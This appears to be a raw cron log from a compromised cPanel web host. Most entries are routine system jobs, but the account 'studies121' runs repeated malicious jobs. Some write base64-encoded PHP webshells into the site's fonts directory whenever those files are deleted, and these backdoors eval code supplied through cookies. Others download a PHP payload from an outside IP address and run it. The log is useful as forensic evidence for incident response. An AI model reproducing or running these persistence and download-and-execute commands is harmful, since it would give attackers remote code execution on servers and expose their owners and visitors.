Feb 22 04:13:02 ip-184-168-122-23 CROND[28925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:14:01 ip-184-168-122-23 CROND[29253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:14:01 ip-184-168-122-23 CROND[29250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:14:01 ip-184-168-122-23 CROND[29256]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:14:01 ip-184-168-122-23 CROND[29251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:14:01 ip-184-168-122-23 CROND[29252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:15:01 ip-184-168-122-23 CROND[29571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:15:01 ip-184-168-122-23 CROND[29572]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 04:15:01 ip-184-168-122-23 CROND[29575]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 04:15:01 ip-184-168-122-23 CROND[29577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:15:01 ip-184-168-122-23 CROND[29579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:15:01 ip-184-168-122-23 CROND[29578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:15:01 ip-184-168-122-23 CROND[29576]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Feb 22 04:16:01 ip-184-168-122-23 CROND[29944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:16:01 ip-184-168-122-23 CROND[29947]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:16:01 ip-184-168-122-23 CROND[29948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:16:01 ip-184-168-122-23 CROND[29949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:16:01 ip-184-168-122-23 CROND[29950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:16:01 ip-184-168-122-23 CROND[29951]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 04:17:01 ip-184-168-122-23 CROND[30307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:17:01 ip-184-168-122-23 CROND[30309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:17:01 ip-184-168-122-23 CROND[30311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:17:01 ip-184-168-122-23 CROND[30310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:18:01 ip-184-168-122-23 CROND[30743]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:18:01 ip-184-168-122-23 CROND[30745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:18:01 ip-184-168-122-23 CROND[30746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:18:01 ip-184-168-122-23 CROND[30749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:18:01 ip-184-168-122-23 CROND[30750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:19:01 ip-184-168-122-23 CROND[31095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:19:01 ip-184-168-122-23 CROND[31097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:19:01 ip-184-168-122-23 CROND[31099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:19:01 ip-184-168-122-23 CROND[31101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:20:01 ip-184-168-122-23 CROND[31478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:20:01 ip-184-168-122-23 CROND[31479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 04:20:01 ip-184-168-122-23 CROND[31484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 04:20:01 ip-184-168-122-23 CROND[31485]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 04:20:01 ip-184-168-122-23 CROND[31483]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:20:01 ip-184-168-122-23 CROND[31482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:20:01 ip-184-168-122-23 CROND[31486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:20:01 ip-184-168-122-23 CROND[31488]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 04:20:01 ip-184-168-122-23 CROND[31481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:21:01 ip-184-168-122-23 CROND[31850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:21:01 ip-184-168-122-23 CROND[31851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:21:01 ip-184-168-122-23 CROND[31853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:21:01 ip-184-168-122-23 CROND[31852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:22:02 ip-184-168-122-23 CROND[32185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:22:02 ip-184-168-122-23 CROND[32187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:22:02 ip-184-168-122-23 CROND[32190]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:22:02 ip-184-168-122-23 CROND[32188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:22:02 ip-184-168-122-23 CROND[32189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:23:01 ip-184-168-122-23 CROND[32616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:23:01 ip-184-168-122-23 CROND[32618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:23:01 ip-184-168-122-23 CROND[32619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:23:01 ip-184-168-122-23 CROND[32620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:24:01 ip-184-168-122-23 CROND[522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:24:01 ip-184-168-122-23 CROND[523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:24:01 ip-184-168-122-23 CROND[524]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:24:01 ip-184-168-122-23 CROND[525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:24:01 ip-184-168-122-23 CROND[532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:25:02 ip-184-168-122-23 CROND[876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:25:02 ip-184-168-122-23 CROND[879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:25:02 ip-184-168-122-23 CROND[878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:25:02 ip-184-168-122-23 CROND[880]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
